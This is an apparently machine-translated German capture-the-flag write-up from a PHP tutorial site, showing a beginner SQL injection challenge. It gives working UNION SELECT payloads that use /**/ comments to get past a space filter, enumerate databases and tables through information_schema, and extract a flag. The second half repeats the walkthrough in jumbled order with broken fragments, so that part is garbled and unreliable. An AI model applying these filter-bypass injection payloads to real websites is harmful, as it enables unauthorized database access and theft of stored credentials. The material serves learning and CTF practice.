Bei der sogenannten SQL-Injection werden SQL-Befehle in Webformularübermittlungen eingefügt oder Domänennamen oder Abfragezeichenfolgen für Seitenanfragen eingegeben, wodurch der Server letztendlich dazu verleitet wird, bösartige SQL-Befehle auszuführen. Als Nächstes teile ich Ihnen eine einfache SQL-Injection mit. Werfen wir einen Blick darauf
Die sogenannte SQL-Injection besteht darin, SQL-Befehle in Webformularübermittlungen einzufügen oder Abfragezeichenfolgen für Domänennamen oder Seitenanforderungen einzugeben, und zwar letztendlich den Server täuschen. Konkret geht es um die Möglichkeit, vorhandene Anwendungen zu nutzen, um (bösartige) SQL-Befehle zur Ausführung in die Backend-Datenbank-Engine einzuschleusen. Sie können Informationen über eine Website mit Sicherheitslücken erhalten, indem Sie (bösartige) SQL-Anweisungen in eine Web-Datenbank eingeben als die vom Designer vorgesehene Ausführung von SQL-Anweisungen. Beispielsweise haben viele frühere Film- und Fernsehwebsites Passwörter für VIP-Mitglieder preisgegeben, meist durch die Übermittlung von Abfragezeichen über WEB-Formulare. Solche Formulare sind besonders anfällig für SQL-Injection-Angriffe.
Geben Sie jeweils 1, 2 und 3 ein und es werden entsprechende Ergebnisse angezeigt.
Die Verwendung von ' meldet einen Fehler, sodass
konstruiert wird häufig verwendete SQL-Anweisungen: 1' und '1'='1
Keine Antwort Versuchen Sie 1' und '1'='2
Immer noch keine Antwort, Tooltip, es sollte etwas gefiltert werden, versuchen Sie, die SQL-Anweisung zu ändern, die
1and1=1
anzeigen kann Dinge, nachdem wir die Leerzeichen beurteilt und gefiltert hatten, verwendeten wir /**/ um Leerzeichen zu ersetzen
versuchen Sie 1'/**/'1'='1
Ein Ergebnis gefunden:
Dann die SQL-Anweisung erstellt:
Bestimmen Sie, welche Datenbanken vorhanden sind:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
Sie können die Ergebnisse sehen:
Sehen Sie, welche Datentabellen es gibt:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
Die Flag-Tabelle wurde gefunden. Wir vermuten, dass sie sich in der web1-Datenbank befinden sollte und das Feld ist flag (eigentlich in der Datenbank auf dieser Seite)
Also:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1Ich bin auch ein Anfänger und habe auf die WPs vieler Experten verwiesen Nachdem Sie sie geschrieben haben. Danke!Was genau wird gefiltert? Sie können wissen, was gefiltert wird....Geben Sie jeweils 1, 2 und 3 ein die entsprechenden Ergebnisse Bei Verwendung von ' wird ein Fehler gemeldet, daher erstellt häufig verwendete SQL-Anweisungen: 1' und '1'='1
Keine Antwort, versuchen Sie es mit 1' und '1'='2 Immer noch keine Antwort, Tooltip, so sollte es sein Filtern Sie etwas, ändern Sie die SQL-Anweisung und versuchen Sie es mit 1and1=1 . Nach der Beurteilung werden die Leerzeichen gefiltert.*/Und/**
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1*
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1*/'1'='1 und fanden die Ergebnis: Dann konstruieren Sie die SQL-Anweisung: Bestimmen Sie, welche Datenbanken vorhanden sind:
Sie können das Ergebnis sehen:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
Überprüfen Sie, welche Datentabellen vorhanden sind:
Wir Ich habe die Flag-Tabelle gefunden. Die Vermutung ist, dass sie sich in der web1-Datenbank befinden sollte und das Feld flag ist (eigentlich in der Datenbank dieser Seite)
Also:Das obige ist der detaillierte Inhalt vonEinfache Beispiele im Zusammenhang mit der SQL-Injektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!